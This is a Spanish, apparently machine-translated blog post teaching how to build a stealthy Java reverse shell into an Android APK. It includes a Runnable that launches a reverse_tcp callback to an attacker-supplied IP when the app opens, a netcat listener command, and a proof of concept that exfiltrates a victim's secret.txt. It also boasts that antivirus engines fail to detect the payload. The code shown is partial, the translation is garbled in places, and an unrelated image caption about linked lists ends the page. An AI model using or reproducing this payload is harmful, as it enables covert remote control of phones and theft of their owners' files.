Una carga útil Stealthy Java Reverse Shell para Android 13 y versiones anteriores sin usar Msfvenom
Descargo de responsabilidad: esta publicación es solo para fines informativos y educativos, y para aquellos que están dispuestos y sienten curiosidad por saber y aprender sobre Android y Mobile Security. NO intente violar la ley con nada de lo contenido aquí, ya que usted es el único responsable de sus propias acciones .
Soy Rui Heng , un amante de la seguridad ofensiva e investigador de seguridad. En mi primera publicación, demostraré una manera simple de escribir su propia carga útil sigilosa de shell inverso que funciona en el último Tiramisu de Android 13.0 , seguido de un escenario de prueba de concepto simple. Decidí escribir esta publicación debido a la falta de reseñas sobre las cargas útiles que funcionan sin Msfvenom.
La carga útil se prueba desde Android 4.4 a 13.0 API 33 en un Pixel 6 Pro.
A partir del 17 de enero de 2023, todos los proveedores de seguridad de VirusTotal no podrán detectarlo.
Todos sabemos que Msfvenom tiene un módulo para incrustar una carga útil de shell inversa en un APK ya compilado. Sin embargo, puede escribir fácilmente su propia carga útil más sigilosa directamente con un IDE como Android Studio con solo unas pocas líneas de código antes de compilar el APK, que se tratará en esta publicación.
¡Quédate conmigo hasta el fondo para una simple prueba de concepto!
Ahora a las cosas técnicas!
PASO 1: Creación de la clase de carga útil de Java (Payload.java)
Para esta carga útil, creamos una nueva clase de Java utilizando las bibliotecas java.ioy . java.net.SocketEl siguiente código es lo que necesitamos para crear el socket y manejar la entrada y salida del shell inverso.
PASO 2: Cree un subproceso ejecutable para iniciar Shell al iniciar la aplicación
En primer lugar, agregue la línea new Thread(runnable).start();a la función onCreate en MainActivity.java .
Luego, agregue el siguiente código en la clase MainActivity que crea un objeto ejecutable y llama a la función reverse_tcp declarada en Payload.java para iniciar la devolución de llamada del shell inverso. (Reemplace la parte inferior con su dirección IP de escucha LHOST y número de puerto)
Runnable runnable = new Runnable() {
@Override
public void run() {
new Payload().reverse_tcp("<IP Address Here>", <Port Number>);
}
};
Sin embargo, tenga en cuenta que habilitar permisos adicionales como android.permission.WRITE_EXTERNAL_STORAGEdesbloquea más posibilidades. No profundizaremos más y esto depende de su propia exploración.
PASO 4: iniciar un oyente y capturar el shell inverso
Compile el APK e instálelo en el dispositivo de destino. En su máquina Kali o atacante, inicie un oyente de Netcat con (cambie 444 al puerto que configuró). Luego, al abrir la aplicación, ¡obtendrás un caparazón inverso! Hay muchas cosas que podemos hacer con él, como ejecutar comandos adb y Linux. nc -nvlp 444
Nota: Si el dispositivo de destino ya está rooteado, obtendrá acceso de superusuario con control TOTAL . Este es el riesgo adicional cuando rooteas tu teléfono.
Tiempo de prueba de concepto (POC): un ejemplo simple
En mi prueba, tengo un servidor en la nube de Kali alojado en Internet, y detectó un caparazón inverso en mi víctima de Pixel 6 Pro después de que la aplicación se instaló e inició. A continuación, usaremos Netcat para filtrar un archivo secret.txt de la carpeta de descargas de la víctima, como se ve a continuación:
¡Terminando!
Es realmente simple escribir su propia carga útil de shell inversa que funciona incluso en la última API de Android 33 y Build 13.0. Me sorprendió probar esto por mi cuenta. Hay muchos POC e ideas diferentes que puede hacer con un caparazón como este, incluso cuando no tiene privilegios. Curiosamente, aprendí que los dispositivos Android más nuevos ya tienen instalado Netcat , lo que lo convierte en una forma extremadamente poderosa de iniciar conexiones de red y transferencias de archivos.
Esta publicación fue parte de mi descubrimiento al realizar mi investigación y experimentar con shells inversos de Android.
Si has llegado hasta aquí, ¡gracias por leer!

![¿Qué es una lista vinculada, de todos modos? [Parte 1]](https://post.nghiatu.com/assets/images/m/max/724/1*Xokk6XOjWyIGCBujkJsCzQ.jpeg)



































